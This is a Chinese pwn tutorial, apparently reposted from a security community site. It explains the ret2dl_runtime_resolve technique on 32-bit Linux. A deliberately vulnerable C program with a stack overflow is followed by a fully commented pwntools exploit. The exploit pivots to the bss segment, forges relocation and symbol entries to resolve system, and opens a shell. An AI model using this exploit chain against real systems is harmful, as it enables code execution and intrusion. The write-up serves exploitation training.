原文来自SecIN社区—作者:tower
使用场景
一遍运行(延迟绑定技术,只有在第一次调用该函数时才会调用_dll_runtime_resolve函数)
没有输出,没有system函数。
需要:
1.向一个固定地址写入数据(bss段)
2.能够劫持程序执行流
linux下c函数是放在libc库里面的
ldd pwn01
linux-gate.so.1 => (0xf7ef2000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d0d000)
/lib/ld-linux.so.2 (0xf7ef4000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6这里就是依赖的库。
这个库是动态连接延迟绑定。
延迟绑定指在第一次调用某个函数时才会把函数的地址写入到got表。之后直接在got表里面取地址。
结构描述
需要了解3个结构以及他们之间的关系
_dll_runtime_resolve函数的2个参数
_dll_runtime_resolve函数的运行过程
2种利用方式
举例
第一种方式太局限,这里以第二种为例参考
https://www.freebuf.com/articles/system/170661.html 的例子
这个例子足够简单
#include <unistd.h>
#include <string.h>
void fun(){
char buffer[0x20];
read(0,buffer,0x200);
}
int main(){
fun();
return 0;
}
gcc fun.c -fno-stack-protector -m32 -o fun
利用流程概述:
1.劫持程序执行流到read输入数据到bss段
2.用rop修改ebp的方法再次劫持执行流参考这里https://blog.csdn.net/qq_38204481/article/details/82908422
3.劫持执行流到dl_runtime_resolve函数的push第二个参数处。设置栈中的第一个参数伪造合适的三个结构。
需要注意的一点是最后会把read函数got表写入为system函数的地址,但是劫持程序执行流的是dl_euntime_resolve函数返回的时候调用的搜索到的system函数。
exp做了详细注释
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level="debug"
p=process('./test')
pop_ebp_ret=0x080484ab
leave_ret=0x08048378
pppr=0x080484a9
fake_stack_size=0x800
bss=0x0804a01c
read_plt=0x080482e0
read_got=0x0804a00c
bss_stage=bss+fake_stack_size
dynsym=0x080481cc #真正dynsym的开始地址
dynstr=0x0804821c
plt=0x080482d0 #push ptr[address] _dll_run_rime_resolve的第二个参数开始入栈
relplt=0x08048298 #真正read_rel.plt的开始地址
rel_offset=bss_stage+28-relplt #7*4=28 指向fake_.rel.plt
fake_sym_addr=bss_stage+36 #伪造.dynsym结构的开始
align=0x10-((fake_sym_addr-dynsym)&0xf) #为了16字节对齐
print 'align==>'+hex(align)
fake_sym_addr=fake_sym_addr+align
index=(fake_sym_addr-dynsym)/0x10 #.dynamic结构的大小为0x10
print 'index==>'+hex(index)
r_info=(index<<8)|0x7 #0x7是属性位,导入函数都是0x07
print 'r_info==>'+hex(r_info)
fake_raloc=p32(read_got)+p32(r_info)#导入函数符号表在.dynamic中的下标
st_name=fake_sym_addr-dynstr+16 # .dynstr到字符串system的偏移
fake_sym=p32(st_name)+p32(0)+p32(0)+p32(0x12) #st_name是符号名相对于dynstr的偏移,0x12是固定的
#gdb.attach(p)
payload='a'*44
payload+=p32(read_plt)#调用read函数向bss段写入数据
payload+=p32(pppr)#read函数返回到这里用来平衡堆栈
payload+=p32(0)
payload+=p32(bss_stage) #第二次输入的地址是bss_stage
payload+=p32(100)
payload+=p32(pop_ebp_ret)#set ebp to bss+0x800 这里设置ebp为bss_stage
payload+=p32(bss_stage)
payload+=p32(leave_ret)#把ebp+4指向的内容赋值给esp然后执行ret(又一次劫持程序执行流到bss_stage+4指向的内容) mov esp ebp,pop ebp
p.sendline(payload)
raw_input()
binsh='/bin/sh'
payload='aaaa'
payload+=p32(plt) #执行完上面的leave_ret会执行这里
payload+=p32(rel_offset) #dll_run_time_resolve函数的第二个参数(要调用导入函数.rel.plt中的偏移)
payload+='aaaa'
payload+=p32(bss_stage+80) #这里是参数(当一个函数需要被延迟绑定的时候会调用dll_run_time_resolve函数这是这个函数的参数)
payload+='aaaa'
payload+='aaaa'
payload+=fake_raloc #fake_.rel.plt
payload+='a'*align
payload+=fake_sym #fake_.dynsym
payload+='system\0'
payload+='a'*(80-len(payload))
payload+=binsh+'\x00' #放入字符串/bin/sh
payload+='a'*(100-len(payload))
p.send(payload)
p.interactive()
总结:提供了一种没有函数创造函数的方法。
来源:freebuf.com 2020-12-07 11:18:20 by: SecIN技术社区
请登录后发表评论
注册